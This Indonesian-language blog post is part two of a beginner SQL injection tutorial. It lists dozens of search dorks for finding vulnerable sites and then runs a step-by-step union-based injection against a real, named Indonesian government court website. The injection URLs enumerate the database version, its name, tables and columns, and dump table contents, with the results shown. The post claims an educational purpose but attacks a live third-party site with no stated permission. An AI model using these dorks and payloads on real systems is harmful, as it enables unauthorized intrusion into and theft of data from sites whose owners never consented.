-->
Search here and hit enter....

Basic SQL Injection for Beginner II

Thumbnail SQLI Part2

Assalamualaikum mamang. Akhirnya kita tiba juga di part ke 2 tentang Basic SQL Injection for Beginner. Bagi yang belum membaca part 1 silahkan cek di sini.

Kali ini saya bakal praktek langsung untuk menginject sebuah website yang memiliki celah SQL Injection. Biasanya untuk melancarkan aksinya, para Hacker menggunakan dork untuk menemukan target dan kemudian mengeksekusinya apakah terdapat bug atau tidak. berikut deretan dork yang bisa mamang jadikan referensi.

inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
nurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=

Dan masih banyak lagi yang lainnya, tinggal kalian kembangkan sendiri. Kunci sederhana dari saya agar bisa mengembangkan dork adalah dengan selalu melihat dan menganalisa path dari setiap website. Patokannya di sini adalah parameter dan valuenya. Untuk lebih spesifik kita juga bisa menambahkan domain, seperi site:.co.id dan lain-lain. Dork ini berlaku untuk SQL Injection saja. Untuk dork POC yang lain kalian bisa searching-searching dulu jangan maunya minta disuapin terus :v sekali-kali belajar makan sendiri :v.

Sebelumnya saya mau mengingatkan bahwa tutorial ini bukan untuk mengajarkan tindakan kriminal merusak sebuah website. Melainkan hanya sebagai pembelajaran bahwa begini wujud bug SQL Injection dan begini cara melakukan eksploitasinya. Sehingga kita tahu dari mana biasanya seorang Hacker menyerang sebuah website. Tugas kita tinggal melakukan patching jika kita seorang developer atau melaporkannya ke admin web yang bersangkutan jika kita seorang bug hunter. Siapp!!

Ada 2 cara SQL Injection pada website. Yang pertama Get Method dan yang ke dua Post Method. Kali ini kita akan membahas yang Get Method. Karena lebih umum dan banyak contoh kasusnya. Oke langsung saja kita lanjut ke cara nginjectnya. Di sini saya sudah menyediakan target yaitu:
http://pn-tais.go.id/post.php?id=89. Kita cek apakah site ini vuln SQL Injection dengan cara memberi karakter string ' di belakang angka/valuenya. Oke kita coba. Tampilan web sebelum kita kasih string ' seperti ini:


Dan ketika kita tambahkan string ' hasilnya:



Oke apakah ini vuln SQL Injection? Ya ini vuln SQL Injection dengan error style ngeblank yakni postingannya menghilang. Next kita tambahkan comment setelah string '. Jika tampilan webnya kembali seperti semula berarti positif vuln SQL Injection tinggal kita gass :v.



Seperti yang kita lihat. Tampilan webnya kembali ke awal sebelum ngeblank. Sekarang tinggal kita gass inject :v. Untuk selanjutnya kita akan mencari jumlah column yang nanti di salah satu column tersebut akan ada angka ajaib :v. Melalui angka ajaib itu kita akan gunakan untuk melihat-lihat User, database, version dsb. Gimana caranya? Caranya adalah gunakan perintah "order by (jumlah column)". seperti order by 1, order by 2, order by 3 dan seterusnya. Oke langsung kita praktikkan.
kita coba order by 1.



Kita lihat tidak ada error. Terus kita lakukan perintah order by sampai kita menemukan website error. Style errornya pun bermacam-macam.

http://pn-tais.go.id/post.php?id=89' order by 2-- -   >>> no error
http://pn-tais.go.id/post.php?id=89' order by 3-- -   >>> no error
http://pn-tais.go.id/post.php?id=89' order by 4-- -   >>> no error
http://pn-tais.go.id/post.php?id=89' order by 5-- -   >>> no error
http://pn-tais.go.id/post.php?id=89' order by 6-- -   >>> no error

Tetep gak error. Biar mempersingkat saya langsung ke angka 30

http://pn-tais.go.id/post.php?id=89' order by 30-- -   >>> no error
http://pn-tais.go.id/post.php?id=89' order by 31-- -   >>> error


Yapss, setelah saya coba di angka 31 mengalami error. Websitenya ngeblank lagi seperti error saat kita menambahkan string ' di awal. Dengan ini maka kita berkesimpulan bahwa jumlah columnnya 30. Karena saat kita memerintahkan order by di 31 error dan di 30 webnya masih baik-baik saja. oke semoga kalian paham 😊.

Next kita lakukan perintah union select untuk mencari angka ajaibnya seperti ini:


http://pn-tais.go.id/post.php?id=89' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- -

Kita lihat hasilnya:



Boommm!!. Tiba-tiba ada angka 3 di sana. Angka apakah itu? Itulah yang saya sebut dengan angka ajaib yang bisa kita gunakan untuk melihat info-info rahasia dari sebuah website. Coba kita cek version webnya dengan memasukkan perintah version() atau @@version. Seperti ini:


http://pn-tais.go.id/post.php?id=89' union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- -

version() kita taruh di angka 3 karena angka 3 adalah angka ajaibnya :v.

Note: Jika dengan union select angka ajaibnya tetap tidak muncul coba berikan karakter - atau . atau * sebelum angka/valuenya contoh:
http://pn-tais.go.id/post.php?id=-89' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- -



Kita lihat itulah version webnya: 10.1.31-MariaDB-cll-lve. Beruntung versionnya adalah 5 keatas :v. Seandainya kalian menemukan web namun versionnya 4 ke bawah maka kalian akan kesulitan. Karena kita harus menebak satu persatu tabel yang ada pada databasenya. Selanjutnya kita coba cari tahu apa nama database dari websitenya dengan perintah database(). Seperti ini,


http://pn-tais.go.id/post.php?id=89' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- -




Yapp, nama databasenya adalah pntaisgo_web. selain untuk menampilkan version dan database kita juga bisa menampilkan user, hostname, port dan masih banyak lagi. Berikut perintahnya:

user()  >> Current User
UUID()  >> System UUID Key
@@hostname  >> Current Hostname
@@port  >> Port
@@datadir  >> Data Directory
@@basedir  >> Base Directory
@@GLOBAL.have_symilink >> Check if Symilink Enabled or Disabled
Dan masih banyak lagi :v.

Oke selanjutnya kita lihat-lihat isi dari databasenya. Tujuan melihat isi database bermacam-macam seperti kita ingin melihat user dan password admin atau data-data penting lainnya jadi celah SQL Injection ini cukup berbahaya juga. Caranya masukkan perintah group_concat(table_name) di tempat angka ajaibnya dan from+information_schema.tables+where+table_schema=database() di akhir angka sebelum comment. Seperti ini:


http://pn-tais.go.id/post.php?id=89' union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from+information_schema.tables+where+table_schema=database()-- -

Maksud dari perintah di atas kita akan menampilkan table yang ada di dalam database.
Mari kita lihat.

Note: Tidak semua website memuat table admin di database. Bagi yang tujuannya menginject web untuk mencari user dan password admin harap bersabar dan mencari target yang lain saja :v.



Sudah terlihat deretan nama dari table-table yang ada pada databasenya, namun kelihatannya agak kacau :v. Begini isi dari databasenya:

pntai544_assets
pntai544_associations
pntai544_banner_clients
pntai544_banner_tracks
pntai544_banners
pntai544_categories
pntai544_contact_details
pntai544_content
pntai544_content_frontpage
pntai544_content_rating
pntai544_content_types
pntai544_contentitem_tag_map
pntai544_core_log_searches
pntai544_extensions
pntai544_fields
pntai544_fields_categories
pntai544_fields_groups
pntai544_fields_values
pntai544_finder_filters
pntai544_finder_links
pntai544_finder_links_terms0
pntai544_finder_links_terms1
pntai544_finder_links_terms2
pntai544_finder_links_terms3
pntai544_finder_links_terms4
pntai544_finder_links_terms5
pntai544_finder_links_terms6
pntai544_finder_links_terms7
pntai544_finder_links_terms8
pntai544_finder_links_terms9
pntai544_finder_links_termsa
pntai544_finder_links_termsb
pntai544_finder_links_termsc
pntai544_finder_links_termsd
pntai544_finder_links_termse
pntai544_finder_links_termsf

Itu semua adalah table-table yang ada pada database pntaisgo_web dari websitenya. Coba kita teliti. Ternyata pada database tidak ada table mengenai user atau admin untuk kita ambil username sama passwordnya. Tidak apa-apa karena tujuan kita bukan untuk melakukan defacing pada website yang sehingganya perlu username dan password melainkan untuk pembelajaran semata. Selanjutnya gimana? Selanjutnya kita akan coba lihat salah satu dari table-table di atas. Kita coba liat isi dari table pntai544_assets. Caranya adalah hampir sama seperti tadi. group_concat(table_name) kita ubah menjadi group_concat(column_name) dan perintah from+information_schema.tables+where+table_schema= menjadi
from+information_schema.columns+where+table_name= lalu database() di ubah menjadi Convertan hexa atau ascii pntai544_assets. Nah untuk mengubah teks pntai544_assets menjadi Convertan hexa kita bisa menggunakan add-ons yang terdapat pada Mozilla Firefox yaitu add-ons yang bernama HackBar silahkan kalian download terlebih dahulu.

Jika sudah di download, pastekan text yang ingin di convert hexa di HackBarnya, kita blok textnya lalu masuk ke menu SQL > MySQL > MySQL CHAR(). Hasil dari Convertan hexa pntai544_assets adalah CHAR(112, 110, 116, 97, 105, 53, 52, 52, 95, 97, 115, 115, 101, 116, 115).

Nah setelah informasi sudah didapatkan lalu kita masukan perintahnya untuk melihat isi table pntai544_assets tersebut, jadi urlnya menjadi :


http://pn-tais.go.id/post.php?id=89' union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from+information_schema.columns+where+table_name=CHAR(112, 110, 116, 97, 105, 53, 52, 52, 95, 97, 115, 115, 101, 116, 115)-- -



Itulah beberapa column isi dari table pntai544_assets. Selanjutnya coba kita lihat isi dari column id level dan name. Caranya ubah  group_concat(column_name) dengan group_concat(id,0x3a,level,0x3a,name).
Dan from+information_schema.columns+where+table_name=CHAR(112, 110, 116, 97, 105, 53, 52, 52, 95, 97, 115, 115, 101, 116, 115)-- - menjadi from+pntai544_assets-- -


Note: Perintah yang terdapat di antara id, level dan name adalah perintah untuk memisahkan/pembatas kerakter (:) agar id, level dan name tidak berantakan ketika kita lihat. Jadi bisa kita gunakan permisah dengan perintah 0x3a. 0x3a adalah hex dari (:).


Agar hasilnya semakin rapi yakni tidak memanjang ke samping melainkan kebawah kita tambahkan hex dari tag <br> yaitu 0x3c62723e pada awal group_concat. Dan full urlnya sekarang adalah:


http://pn-tais.go.id/post.php?id=89' union select 1,2,group_concat(0x3c62723e,id,0x3a,level,0x3a,name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from+pntai544_assets-- -

Kita lihat hasilnya.



Yapps. Itulah isi dari columnnya. Hal tadi tentu juga berlaku ketika kita ingin mencari username dan password terhadap suatu website yang ada table mengenai admin di databasenya. Selanjutnya tinggal pandai-pandai kalian mau ngapain dan mau diapain.

Oke sudah selesai kita belajar cara melakukan inject pada website. Tentu teknik ini adalah Basic SQL Injection for Beginner. Masih ada level yang lebih sulit dari pada ini. Karena developer tidak akan diam saja. Mereka terus berfikir dan melakukan patching terhadap celah ini. Sementara hacker juga berfikir untuk terus bisa menembus celah yang sudah dipatch oleh developer. Akan banyak tantangan dan rintangan bagi seorang Hacker ketika web sudah di patch seperti tersembunyinya pesan error, terfilternya beberapa karakter, Redirect, WAF (Web Aplication Firewall) dan lain-lain.

Mungkin jika sempat akan saya bahas juga mengenai WAF dan cara melakukan bypass di postingan-postingan selanjutnya. Tetap stay dan pantau terus blognya ya. Oke sekian dulu dari saya admin W3 Share ID yang gans. Apabila ada kalimat yang menyakitkan atau penjelasan yang kurang jelas saya mohon maaf yang sebesar-besarnya. Juga kepada admin pihak website bukan maksud kami untuk mengobrak-abrik web anda. Melainkan sekali lagi hanya untuk suatu pembalajaran mengenai celah SQL Injection agar bisa dipatch nantinya. Sekian wassalam.

Thanks to:
Pelacur Code - KATENBAD - \!/X3n0n1337 - #AnonyX - Anti_Fr4g - R3V0 - ./Mr.Java404 - IndoXploit
Click to Comments